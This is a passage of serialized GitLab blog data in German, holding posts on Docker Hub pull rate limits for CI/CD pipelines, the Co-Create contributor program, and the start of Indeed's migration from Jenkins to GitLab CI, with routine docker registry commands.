Offline-/Air-Gap-Umgebungen nutzbar.\n* Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über [MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)/A2A für reicheren Kontext.\n* Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.\n* Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.\n\n## Probiere den Issue to MR Flow noch heute aus\n\nFür Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.\n\nSieh dir den Issue to MR Flow in Aktion an:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer [kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/de-de/free-trial/) aus.",[861],"Cesar Saavedra","2025-09-08","2025-09-03","Vibe Coding mit GitLab Duo Agent Platform: Issue to MR",[841,764,824,825],"So aktualisierst du deine Anwendung mit unserem neuesten Flow in wenigen Minuten. ",{"featured":91,"template":800,"slug":868},"vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow",{"category":691,"slug":695,"posts":870},[871],{"content":872,"config":882},{"title":873,"description":874,"authors":875,"heroImage":877,"date":878,"body":879,"category":695,"tags":880,"updatedDate":881},"Welche Auswirkungen die Ratenbegrenzungen für Docker Hub auf GitLab CI/CD haben","Erfahre, wie sich die bevorstehenden Ratenbegrenzungen für Pulls von Docker Hub auf GitLab-Pipelines auswirken und was du tun kannst, um Störungen zu vermeiden.",[876],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","Am 1. April 2025 hat Docker neue [Ratenbegrenzungen für Pulls](https://docs.docker.com/docker-hub/usage/) für Docker Hub eingeführt, die sich erheblich auf CI/CD-Pipelines in der gesamten Branche auswirken können, einschließlich derer, die auf GitLab ausgeführt werden. Die gravierendste Änderung ist die Begrenzung auf 10 Pulls pro Stunde für nicht angemeldete Benutzer(innen).\n\n## Was ändert sich?\n\nAb dem 1. April 2025 hat Docker die folgenden Ratenbegrenzungen für Pulls durchgesetzt:\n\n| Benutzertyp | Ratenbegrenzung für Pulls pro Stunde | Anzahl der öffentlichen Repositories | Anzahl der privaten Repositories |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authentifiziert) | Unbegrenzt (angemessene Nutzung) | Unbegrenzt | Unbegrenzt |\n| Persönlich (authentifiziert) | 100 | Unbegrenzt | Maximal 1 |\n| Nicht angemeldete Benutzer(innen) | 10 pro IPv4-Adresse oder IPv6/64-Subnetz | Nicht zutreffend | Nicht zutreffend |\n\n\u003Cp>\u003C/p>\nDies ist besonders wichtig, weil:\n\n* Der Abhängigkeits-Proxy von GitLab pullt derzeit als nicht angemeldeter Benutzer von Docker Hub.\n* Die meisten CI/CD-Pipelines, die den Abhängigkeits-Proxy nicht verwenden, pullen als nicht angemeldete Benutzer direkt von Docker Hub.\n* Auf gehosteten Runnern für GitLab.com kann es vorkommen, dass sich mehrere Benutzer(innen) die gleiche IP-Adresse oder das gleiche Subnetz teilen. Somit unterliegen sie gemeinsam dieser Begrenzung.\n\n## Wie sich dies auf GitLab-Benutzer(innen) auswirkt\n\n**Auswirkungen auf direkte Pulls von Docker Hub**\n\nWenn deine CI/CD-Pipelines Images direkt und ohne Authentifizierung von Docker Hub pullen, ist die Anzahl auf 10 Pulls pro Stunde und IP-Adresse begrenzt. Bei Pipelines, die häufig oder projektübergreifend mit derselben Runner-Infrastruktur ausgeführt werden, wird dieser Grenzwert schnell erreicht und es kommt zu Pipeline-Fehlern.\n\n**Auswirkungen auf den Abhängigkeits-Proxy von GitLab**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images in GitLab zwischenspeichern, um Pipelines zu beschleunigen und externe Abhängigkeiten zu reduzieren. Die aktuelle Implementierung pullt allerdings als nicht angemeldeter Benutzer von Docker Hub. Das bedeutet, dass auch hier der Grenzwert von 10 Pulls pro Stunde gilt.\n\n**Auswirkungen auf gehostete Runner**\n\nGehostete Runner auf GitLab.com verwenden den [Pull-Through-Cache von Google Cloud](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=de). Dieser spiegelt häufig gepullte Images, sodass Ratenbegrenzungen vermieden werden. Images von Jobs, die in deiner `.gitlab-ci.yml`-Datei als `image:` oder `services:` definiert sind, sind von Ratenbegrenzungen nicht betroffen.\n\nEtwas schwieriger wird es, wenn Images innerhalb der Runner-Umgebung gepullt werden. Der häufigste Anwendungsfall für das Pullen von Images während der Laufzeit eines Runners ist die Erstellung eines Images mit Docker-in-Docker oder Kaniko. In diesem Szenario wird das in deiner `Dockerfile` definierte Docker-Hub-Image direkt aus dem Docker Hub gepullt und ist wahrscheinlich von den Ratenbegrenzungen betroffen.\n\n## Wie GitLab reagiert\n\nWir arbeiten aktiv an Lösungen, um diese Herausforderungen zu bewältigen:\n\n* **Authentifizierung des Abhängigkeits-Proxy:** Wir haben die Unterstützung für die Docker-Hub-Authentifizierung im [GitLab-Abhängigkeits-Proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/331741) hinzugefügt. Dadurch kann der Abhängigkeits-Proxy Images als angemeldeter Benutzer von Docker Hub pullen, wodurch die Grenzwerte erheblich erhöht werden.\n* **Aktualisierung der Dokumentation:** Wir haben unsere [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) aktualisiert. Sie stellt jetzt eine klare Anleitung zur Konfiguration der Pipeline-Authentifizierung für Docker Hub zur Verfügung.\n* **Vorbereitung der internen Infrastruktur:** Wir bereiten unsere interne Infrastruktur vor, um die Auswirkungen auf gehostete Runner für GitLab.com zu minimieren.\n\n## So kannst du dich vorbereiten\n\n**Option 1: Konfiguriere die Docker-Hub-Authentifizierung in deinen Pipelines**\n\nFür Pipelines, die direkt von Docker Hub pullen, kannst du die Authentifizierung so konfigurieren, dass deine Ratenbegrenzung auf 100 Pulls pro Stunde erhöht wird (mit einem kostenpflichtigen Docker-Hub-Abo ist sie sogar unbegrenzt).\n\nFüge die Docker-Hub-Anmeldedaten zu den CI/CD-Variablen deines Projekts oder deiner Gruppe hinzu (nicht in deiner `.gitlab-ci.yml`-Datei). Ausführliche Anweisungen zur korrekten Einrichtung der CI/CD-Variable `DOCKER_AUTH_CONFIG` findest du in unserer [Dokumentation zur Verwendung von Docker-Images (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials).\n\n**Option 2: Verwende die GitLab-Container-Registry**\n\nDu kannst deine häufig verwendeten Docker-Images in deine [GitLab-Container-Registry (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/container_registry/) übertragen. So musst du während der CI/CD-Ausführung nicht mehr von Docker Hub pullen:\n\n1. Pulle das Image von Docker Hub.\n2. Kennzeichne es für deine GitLab-Container-Registry.\n3. Pushe es in deine GitLab-Container-Registry.\n4. Aktualisiere deine Pipelines, dass sie das Image von der GitLab-Container-Registry abrufen.\n\n```\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nIn deiner `.gitlab-ci.yml`-Datei fügst du dann folgende Zeile hinzu:\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3: Verwende den GitLab-Abhängigkeits-Proxy**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images zwischenspeichern und übertragen. Dies reduziert externe Abhängigkeiten und somit Probleme mit der Ratenbegrenzung.\n\nAktuelle Authentifizierungsoptionen:\n* GitLab 17.10: Konfiguriere die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy mit der [GraphQL API (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n* GitLab 17.11: Verwende die neue UI-basierte Konfiguration in den Einstellungen deiner Gruppe (bereits auf GitLab.com verfügbar)\n\nSobald die Authentifizierung ordnungsgemäß konfiguriert ist, kannst du Folgendes tun:\n\n1. Konfiguriere die Docker-Hub-Anmeldeinformationen in den Einstellungen des Abhängigkeits-Proxys deiner Gruppe:\n  - Für GitLab 17.11+ (oder die aktuelle Version von GitLab.com): Navigiere zu den Einstellungen deiner Gruppe > Pakete und Registries > Abhängigkeits-Proxy.\n  - Für GitLab 17.10: Verwende die GraphQL-API, um die Authentifizierung zu konfigurieren.\n2. Aktualisiere deine Pipelines, sodass sie die Dependency-Proxy-URLs in deiner CI/CD-Konfiguration verwenden:\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4: Überlege dir, ein kostenpflichtiges Docker-Hub-Abonnement abzuschließen**\n\nUnternehmen, die Docker Hub intensiv nutzen, ist das Upgrade auf ein kostenpflichtiges Docker-Abonnement (Team oder Business) möglicherweise die einfachste Lösung, da es unbegrenzt viele Pulls ermöglicht.\n\n## Best Practices zur Reduzierung der Auswirkungen der Docker-Hub-Ratenbegrenzung\n\nUnabhängig davon, welche Option du wählst, helfen dir diese Best Practices dabei, die Auswirkungen der Docker-Hub-Ratenbegrenzung zu minimieren:\n\n* Verwende eindeutige Image-Tags anstelle von `latest`, um unnötige Pulls zu vermeiden.\n* Konsolidiere deine Docker-Dateien, sodass sie projektübergreifend dieselben Basis-Images verwenden.\n* Plane weniger kritische Pipelines so, dass sie außerhalb der Stoßzeiten ausgeführt werden.\n* Verwende Caching effektiv, um zu vermeiden, dass dieselben Images wiederholt gepullt werden.\n\n**Hinweis:** Gemäß der [Dokumentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition) von Docker Hub wird der Counter für die Anzahl der Pulls erhöht, wenn das Image-Manifest gepullt wird, und nicht basierend auf der Image-Größe oder der Anzahl der Ebenen.\n\n## Zeitplan und nächste Schritte\n\n**Jetzt**\n  * Implementiere die Authentifizierung für direkte Pulls von Docker Hub.\n  * Als Benutzer(in) von GitLab.com kannst du die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy bereits konfigurieren, indem du entweder:\n    * die GraphQL-API oder\n    * die Benutzeroberfläche in den Gruppeneinstellungen verwendest\n  * Benutzer(innen) von GitLab Self-Managed 17.10 können die Abhängigkeits-Proxy-Authentifizierung über die GraphQL-API konfigurieren.\n\n**1. April 2025**\n  * Die Ratenbegrenzungen für Docker Hub treten in Kraft.\n\n**17. April 2025**\n  * GitLab 17.11 wird mit UI-basierter Unterstützung für die Authentifizierung des Abhängigkeits-Proxy für Self-Managed-Instanzen veröffentlicht. \n\nDu solltest rechtzeitig vor Ablauf der Frist am 1. April Maßnahmen ergreifen, um unerwartete Pipeline-Fehler zu vermeiden. Für die meisten Benutzer(innen) ist die Konfiguration des Abhängigkeits-Proxys mit der Docker-Hub-Authentifizierung die effizienteste Langzeitlösung.\n\n> Hast du Fragen oder benötigst du Hilfe bei der Implementierung? Sieh dir [dieses Ticket an](https://gitlab.com/gitlab-org/gitlab/-/issues/526605), wo unser Team aktiv Unterstützung bietet.",[109,742,796],"2025-04-21",{"slug":883,"featured":91,"template":800},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":703,"slug":707,"posts":885},[886,902,916],{"content":887,"config":900},{"heroImage":888,"body":889,"authors":890,"updatedDate":892,"date":893,"title":894,"tags":895,"description":899,"category":707},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","Im vergangenen Jahr haben über 800 Community-Mitglieder mehr als 3 000 Beiträge zu GitLab geleistet. Darunter sind auch Teammitglieder aus globalen Unternehmen wie Thales und Scania, die im Rahmen des [Co-Create-Programms (nur in englischer Sprache verfügbar)](https://about.gitlab.com/community/co-create/) die Zukunft von GitLab mitgestalten. Bei diesem Programm arbeiten Kund(inn)en direkt mit GitLab-Entwickler(inne)n zusammen, um sinnvolle Funktionen zur Plattform beizutragen.\n\nDurch Workshops, Paarprogrammierungssitzungen und kontinuierlichen Support erhalten die Programmteilnehmenden praktische Erfahrungen mit der Architektur und der Codebase von GitLab, während sie Probleme lösen oder bestehende Funktionen verbessern.\n\n„Unsere Erfahrungen mit dem Co-Create-Programm waren unglaublich“, erklärt Sébastien Lejeune, Open-Source-Beauftragter bei Thales. „Es hat nur zwei Monate gedauert, bis wir unseren Beitrag mit einem GitLab Contributor Success Engineer besprochen haben und er in die GitLab-Release aufgenommen wurde.“\n\nIn diesem Beitrag zeigen wir, wie Kund(inn)en das Co-Create-Programm genutzt haben, um ihre Ideen in Code zu verwandeln und dabei zu lernen und mitzuwirken.\n\n## Die Co-Create-Erfahrung\n[Das GitLab Development Kit (GDK) (Dokumentation nur in englischer Sprache verfügbar)](https://gitlab.com/gitlab-org/gitlab-development-kit) hilft Mitwirkenden, mit der Entwicklung von GitLab zu beginnen. „Mein Rat für neue Mitwirkende lautet, dass man mit dem GDK nichts kaputt machen kann“, sagt Hook. „Wenn du eine Änderung vornimmst und sie nicht funktioniert, kannst du sie rückgängig machen oder von vorne beginnen. Das Schöne am GDK ist, dass man tüfteln, testen und lernen kann, ohne sich Gedanken über die Umgebung machen zu müssen.“\n\nJedes Unternehmen, das am Co-Create-Programm teilnimmt, erhält während seiner gesamten Beitragsphase Unterstützung:\n\n- __Technischer Onboarding-Workshop __: Eine spezielle Sitzung, um das GitLab Development Kit einzurichten und die Architektur von GitLab zu verstehen\n- __Persönlicher Engineering-Support__: Kontakt zu GitLab-Entwickler(inne)n für Paarprogrammierung und technische Beratung\n- __Vertiefende Einblicke in die Architektur__: Spezialisierte Sitzungen zu bestimmten GitLab-Komponenten, die für das Thema, zu dem das Unternehmen beiträgt, relevant sind\n- __Code-Review-Support__: Detailliertes Feedback und Anleitung für den Merge-Request-Prozess\n- __Regelmäßige Rückmeldungen__: Laufende Zusammenarbeit, um den Fortschritt zu sichern und Herausforderungen zu bewältigen\n\nDiese Struktur sorgt dafür, dass Teams unabhängig von ihrer Erfahrung mit der Codebase von GitLab oder der Programmiersprache Ruby/Go effektiv mitarbeiten können. John Parent von Kitware erklärt: „Wenn du GitLab noch nie gesehen oder damit gearbeitet hast, siehst du dich mit einer ausgeklügelten Architektur und so viel Code in verschiedenen Projekten konfrontiert. Mithilfe des Co-Create-Programms lässt sich das, was wochenlange interne Schulungen erfordern würde, in einen gezielten Crashkurs umwandeln.“\n\nDas Ergebnis ist ein Programm, das nicht nur dabei hilft, neue Funktionen zu entwickeln, sondern auch dauerhafte Beziehungen zwischen GitLab und seiner Benutzer-Community aufzubauen. „Für unsere Entwickler(innen) ist es inspirierend zu sehen, mit welcher Leidenschaft unsere Kund(inn)en an GitLab mitarbeiten und es gemeinsam weiterentwickeln“, sagt Shekhar Patnaik, Principal Engineer bei GitLab. Die Kund(inn)en erleben den „GitLab-Weg“ und die Entwickler(innen) sehen, wie sie die Zukunft von GitLab mitgestalten.“\n\n## Verbesserung der Projekt-Benutzeroberfläche mit Thales\nAls Thales Verbesserungsmöglichkeiten für die leere Projektoberfläche von GitLab erkannte, reichten sie nicht nur eine Feature-Anfrage ein, sondern entwickelten die Lösung gleich selbst. Ihre Beiträge konzentrierten sich auf die Vereinfachung der Einrichtung neuer Projekte, indem sie die SSH-/HTTPS-Konfiguration mit einer Registerkarten-Oberfläche vereinfachten und eine Kopier-/Einfügefunktion für die Code-Schnipsel hinzufügten. Diese Änderungen hatten einen erheblichen Einfluss auf den Workflow der Entwickler(innen).\n\nDas Team hat aber nicht nur die Benutzeroberfläche verbessert. Quentin Michaud, PhD Fellow für Cloud Applications on the Edge bei Thales, trug zur Verbesserung des GitLab Development Kit (GDK) bei. Als Paketbetreuer für Arch Linux hat Michaud mit seinem Fachwissen die Dokumentation des GDK verbessert und die Containerisierung unterstützt, um zukünftigen Mitwirkenden den Einstieg zu erleichtern.\n\n„Meine Erfahrung mit Open Source half mir bei der Problembehebung der GDK-Unterstützung für Linux-Distributionen“, sagt Michaud. „Während ich die Dokumentation zur Paketversionierung verbesserte, sah ich, dass das Contributor-Success-Team von GitLab ebenfalls daran arbeitete, GDK in einem Container einzurichten. Zu sehen, wie unsere Bemühungen zusammenlaufen, war ein großartiger Moment für mich – er zeigte, wie Open-Source-Zusammenarbeit zu besseren Lösungen führen kann.“\n\nDie positive Erfahrung für das Thales-Team bedeutet, dass Lejeune das Co-Create-Programm jetzt als „ein überzeugendes Beispiel dafür nutzt, unseren Manager(inne)n die Rentabilität von Beiträgen zu Open-Source-Software zu zeigen.“\n\n## Verbesserung der Paketunterstützung mit Scania\nAls Scania erweiterte Paketunterstützung in GitLab benötigte, sah das Unternehmen die Möglichkeit, selbst dazu beizutragen und sie zu entwickeln.\n\n„Wir sind langjährige GitLab-Benutzer(innen) und fördern Open Source aktiv in unserem Unternehmen. Das Co-Create-Programm bot uns eine sinnvolle Möglichkeit, direkt zu Open Source beizutragen“, sagt Puttaraju Venugopal Hassan, Solution Architect bei Scania.\n\nDas Team begann mit kleineren Änderungen, um sich mit der Codebase und dem Review-Prozess vertraut zu machen, und ging dann zu größeren Funktionen über. „Einer der lohnendsten Aspekte des Co-Create-Programms war es, auf den gesamten Prozess zurückzublicken und zu sehen, wie weit wir gekommen sind“, sagt Océane Legrand, Softwareentwicklerin bei Scania. „Wir haben mit der Erkundung und kleineren Änderungen angefangen, aber mit der Zeit haben wir größere Aufgaben übernommen. Es ist toll, diese Entwicklung zu sehen.“\n\nZu den Beiträgen von Scania gehören Fehlerkorrekturen für die Paket-Registry und Bemühungen, die Conan-Paket-Registry zu verbessern, um sie der allgemeinen Verfügbarkeit (GA) näher zu bringen und gleichzeitig die Unterstützung für Conan Version 2 zu implementieren. Ihre Arbeit und die Zusammenarbeit mit GitLab zeigt, wie das Co-Create-Programm die Funktionen der Paket-Registry von GitLab erheblich verbessern kann.\n\n„Unsere Erfahrungen mit dem Co-Create-Programm waren von Anfang an sehr gut organisiert. Wir hatten Schulungen, die uns durch alles führten, was wir für unseren Beitrag brauchten. In Einzelgesprächen mit jemandem aus dem Entwicklungsteam von GitLab erhielten wir außerdem einen detaillierten Einblick in die Paketarchitektur von GitLab, was den Beitragsprozess deutlich vereinfachte“, sagt Juan Pablo Gonzalez, Softwareentwickler bei Scania.\n\nDas Programm wirkt sich nicht nur auf die Programmierung aus – Teilnehmende erwerben durch ihre Beiträge auch wertvolle Fähigkeiten. Bei der Veröffentlichung von GitLab 17.8 wurden sowohl [Legrand als auch Gonzalez als GitLab MVPs (nur in englischer Sprache verfügbar)](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp) ausgezeichnet. Legrand sprach darüber, wie sich ihre Arbeit im Open-Source-Bereich sowohl auf GitLab als auch auf Scania auswirkt und wie sie und ihr Team neue Fähigkeiten erwerben: „Durch die Mitarbeit im Co-Create-Programm habe ich neue Fähigkeiten erworben, z. B. Erfahrungen mit Ruby und Hintergrundmigrationen. Als mein Team bei Scania während eines Upgrades mit einem Problem konfrontiert wurde, konnte ich bei der Problembehebung helfen, weil ich das Problem bereits aus dem Co-Create-Programm kannte.“\n\n## Optimierung der Authentifizierung für High-Performance-Computing mit Kitware\nKitware brachte sein Fachwissen aus der Zusammenarbeit mit nationalen Laboratorien ein, um das Authentifizierungsframework von GitLab zu verbessern. Kitware unterstützte den OAuth2 Flow zur Erteilung von Geräteautorisierungen in GitLab und implementierte neue Datenbanktabellen, Controller, Ansichten und Dokumentationen. Dieser Beitrag erweitert die Authentifizierungsoptionen von GitLab und macht es vielseitiger für Geräte ohne Browser oder mit begrenzten Eingabemöglichkeiten.\n\n„Das Co-Create-Programm ist der effizienteste und effektivste Weg, um als Externe(r) zu GitLab beizutragen“, sagt John Parent, Entwicklungsingenieur bei Kitware. „Durch die Pairing-Sitzungen mit den Entwickler(inne)n haben wir bessere Implementierungen gefunden, die wir im Alleingang vielleicht übersehen hätten.“\n\nAls langjähriger Mitwirkender im Open-Source-Bereich schätzt Kitware besonders den Entwicklungsansatz von GitLab. „Ich bin davon ausgegangen, dass GitLab bei seiner Größe nicht auf vorgefertigte Lösungen zurückgreifen würde, aber es war großartig zu sehen, dass sie eine Ruby-Abhängigkeit eingebaut haben, anstatt eine eigene Lösung zu entwickeln“, sagt Parent. „Da ich aus der C++-Welt komme, wo Paketmanager selten sind, war es erfrischend zu sehen, wie einfach dieser Ansatz sein kann.“\n\n## Gemeinsam besser entwickeln: Vorteile des Co-Create-Programms\nDas Co-Create-Programm schafft Werte für beide Seiten. „Das Programm überbrückt die Kluft zwischen uns als GitLab-Entwickler(innen) und unseren Kund(inn)en“, erklärt Imre Farkas, Staff Backend Engineer bei GitLab. „Während der Zusammenarbeit erfahren wir, welche Herausforderungen sie tagtäglich haben, auf welche Teile von GitLab sie sich verlassen und wo Verbesserungen möglich sind. Es ist toll zu sehen, mit welcher Begeisterung sie sich an der Entwicklung von GitLab beteiligen.“\n\nDieser kollaborative Ansatz beschleunigt auch die Entwicklung von GitLab. Shekhar Patnaik, leitender Ingenieur bei GitLab, bemerkt dazu: „Durch das Co-Create-Programm helfen uns unsere Kund(inn)en, unsere Roadmap voranzutreiben. Ihre Beiträge ermöglichen es uns, wichtige Funktionen schneller bereitzustellen, wovon unsere gesamte Nutzerbasis profitiert. Wenn wir das Programm erweitern, haben wir das Potenzial, die Entwicklung unserer wichtigsten Funktionen zu beschleunigen, indem wir mit den Menschen zusammenarbeiten, die sich auf sie verlassen.“\n\n## Erste Schritte mit dem Co-Create-Programm\nBist du bereit, deine Feature-Anfragen in die Realität umzusetzen? Ganz gleich, ob du wie Thales die Benutzeroberfläche von GitLab verbessern, wie Scania die Paketunterstützung verbessern oder wie Kitware die Authentifizierung optimieren möchtest – das Co-Create-Programm heißt alle Unternehmen willkommen, die die Zukunft von GitLab aktiv mitgestalten und gleichzeitig wertvolle Open-Source-Erfahrungen sammeln möchten.\n\nEin(e) GitLab-Vertreter(in) kann dir sagen, wie du am Co-Create-Programm teilnehmen kannst. Weitere Informationen findest du auch auf der [Seite des Co-Create-Programms](https://about.gitlab.com/community/co-create/).\n",[891],"Fatima Sarah Khalid","2025-02-07","2025-01-30","Das Co-Create-Programm: Wie Kund(inn)en zusammenarbeiten, um GitLab zu entwickeln",[896,897,898],"contributors","open source","customers","Erfahre, wie Unternehmen wie Thales, Scania und Kitware mit GitLab-Entwickler(inne)n zusammenarbeiten, um sinnvolle Funktionen beizusteuern, von denen die gesamte Community profitiert.",{"slug":901,"featured":91,"template":800},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":903,"config":914},{"title":904,"description":905,"authors":906,"heroImage":908,"date":909,"body":910,"category":707,"tags":911,"updatedDate":913},"Wie Indeed seine CI-Plattform mit GitLab transformiert hat","Die weltweit führende Jobbörse migrierte Tausende von Projekten zu GitLab CI und konnte so die Produktivität steigern und die Kosten senken. Hier erfährst du, welche Vorteile das Unternehmen umsetzen und damit einen Anstieg der täglichen Pipelines um 79 % erzielen konnte.",[907],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Anmerkung der Redaktion: Von Zeit zu Zeit laden wir Mitglieder unserer Kunden-Community ein, einen Beitrag für den GitLab-Blog zu verfassen. Danke an Carl Myers, CI-Plattform-Manager bei Indeed, dass du uns von deinen Erfahrungen mit GitLab berichtest.***\n\nHier bei Indeed ist es unsere Mission, Menschen dabei zu helfen, einen Job zu finden. Indeed ist die weltweit [führende Job-Website](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) mit mehr als 350 Millionen Besucher(inne)n pro Monat.\n\nFür die Engineering-Plattformteams von Indeed gilt ein etwas anderes Motto: „Wir helfen den Menschen dabei, Menschen zu helfen, einen Job zu finden.“ Als Teil einer datengesteuerten Engineering-Kultur, die gute zwei Jahrzehnte immer die Jobsuchenden in den Vordergrund gestellt hat, sind wir dafür verantwortlich, die Tools zu entwickeln, mit denen dies nicht nur möglich ist, sondern die die Entwickler(innen) auch darin unterstützen, tagtäglich gute Ergebnisse für die Jobsuchenden zu liefern.\n\nMit der kontinuierlichen Integration von GitLab konnte das nur 11 Personen umfassende CI-Plattformteam von Indeed effektiv Tausende von Benutzer(inne)n im gesamten Unternehmen unterstützen. Weitere Vorteile, die Indeed durch den Umstieg auf GitLab CI erreichen konnte:\n- 79 % Anstieg der täglichen Pipelines\n- 10–20 % niedrigere CI-Hardware-Kosten\n- Gesunkener Supportaufwand\n\n## Weiterentwicklung unserer CI-Plattform: von Jenkins zu einer skalierbaren Lösung\n\nWie viele große Technologieunternehmen haben wir unsere CI-Plattform mit dem Wachstum des Unternehmens organisch aufgebaut und nutzten dabei die damals verfügbaren Open-Source- sowie branchenüblichen Lösungen. 2007, als Indeed weniger als 20 Entwickler(innen) hatte, verwendeten wir Hudson, den direkten Vorgänger von Jenkins.\n\nHeute, nach fast zwei Jahrzehnten des Wachstums, haben wir Tausende von Entwickler(inne)n. Als neue Technologien verfügbar wurden, nahmen wir schrittweise Veränderungen vor und wechselten um 2011 herum zu Jenkins. Dank einer weiteren Verbesserung konnten wir die meisten unserer Workloads mithilfe von [AWS EC2](https://aws.amazon.com/ec2/) auf dynamischen Worker Nodes in der Cloud umstellen. Mit dem Eintritt in das Kubernetes-Zeitalter stieß die Systemarchitektur jedoch an ihre Grenzen.\n\nDie Architektur von Jenkins wurde nicht mit Blick auf die Cloud entwickelt. Jenkins funktioniert mit einem „Controller“-Knoten, einem Single Point of Failure, der wichtige Teile einer Pipeline ausführt und bestimmte Schritte an Worker Nodes (die bis zu einem gewissen Grad horizontal skaliert werden können) auslagert. Controller sind auch eine manuelle Skalierungsachse.\n\nWenn man zu viele Jobs für einen Controller hat, muss man sie manuell auf mehrere Controller verteilen. CloudBees bietet Möglichkeiten, dies zu mindern, etwa durch das CloudBees Jenkins Operations Center, in dem man seine Controllerkonstellation zentral verwalten kann. Die Ausführung von Controllern in einer Kubernetes-Umgebung bleibt jedoch eine Herausforderung, da jeder Controller ein anfälliger Single Point of Failure ist. Aktivitäten wie Node-Rollouts oder Hardwareausfälle verursachen Ausfallzeiten.\n\nNeben den technischen Einschränkungen, die Jenkins mit sich bringt, hatte unsere CI-Plattform auch mehrere Probleme, die wir selbst verursacht hatten. Zum Beispiel haben wir die Jenkins-DSL Groovy verwendet, um in jedem Repository Jobs aus Code zu erstellen. Dies führte dazu, dass jedes Projekt seine eigene, kopierte und eingefügte Job-Pipeline hatte, was zu Hunderten von Versionen führte, die schwer zu warten und aktualisieren waren. Obwohle die Engineering-Kultur von Indeed auf Flexibilität Wert legt und es den Teams erlaubt, in separaten Repositories zu arbeiten, wurde diese Flexibilität zu einer Belastung, als Teams zu viel Zeit damit verbrachten, sich um regelmäßige Wartungsanfragen zu kümmern.\n\nAls wir unser Technical Debt erkannten, setzten wir auf das [Golden-Path-Muster](https://tag-app-delivery.cncf.io/whitepapers/platforms/), das Flexibilität bietet und gleichzeitig eine Standardroute vorgibt, um Updates zu vereinfachen und konsistente Praktiken in den Projekten zu fördern.\n\nDas CI-Plattformteam bei Indeed ist nicht sehr groß. Unser Team aus rund 11 Entwickler(inne)n unterstützt Tausende von Benutzer(inne)n, bearbeitet Supportanfragen, führt Updates und Wartungen durch und ermöglicht einen ständig verfügbaren Support für unser globales Unternehmen.\n\nDa unser Team nicht nur unsere GitLab-Instanz unterstützt, sondern die gesamte CI-Plattform einschließlich des Artefakt-Servers, unseres gemeinsamen Build-Codes und zahlreicher anderer, individueller Komponenten unserer Plattform, hatten wir alle Hände voll zu tun. Wir brauchten einen Plan, der uns half, unsere Herausforderungen zu meistern und gleichzeitig unsere vorhandenen Ressourcen so effizient wie möglich zu nutzen.\n\n## Umstieg auf GitLab CI\n\nNach einem sorgfältigen Design-Review mit den wichtigsten Stakeholdern entschieden wir, das gesamte Unternehmen von Jenkins zu GitLab CI zu migrieren. Die Hauptgründe für die Entscheidung für GitLab CI waren:\n- Wir haben GitLab bereits für die Quellcodeverwaltung verwendet.\n- GitLab ist eine Komplettlösung, die alles bietet, was wir für CI benötigen.\n- GitLab CI wurde für Skalierbarkeit und die Cloud entwickelt.\n- GitLab CI ermöglicht es uns, Vorlagen zu schreiben, die andere Vorlagen erweitern, was mit unserer Golden-Path-Strategie kompatibel ist.\n- GitLab ist Open-Source-Software und das GitLab-Team hat uns bei der Bereitstellung von Fehlerkorrekturen immer unterstützt, was uns zusätzliche Flexibilität und Sicherheit gibt.\n\nAls wir offiziell ankündigten, dass die GitLab-CI-Plattform für Benutzer(innen) allgemein verfügbar sein würde, erfolgten bereits 23 % aller Builds in GitLab CI mit einer Kombination von „Grassroots“-Bemühungen und Early Adopters.\n\nDie Herausforderung der Migration lag 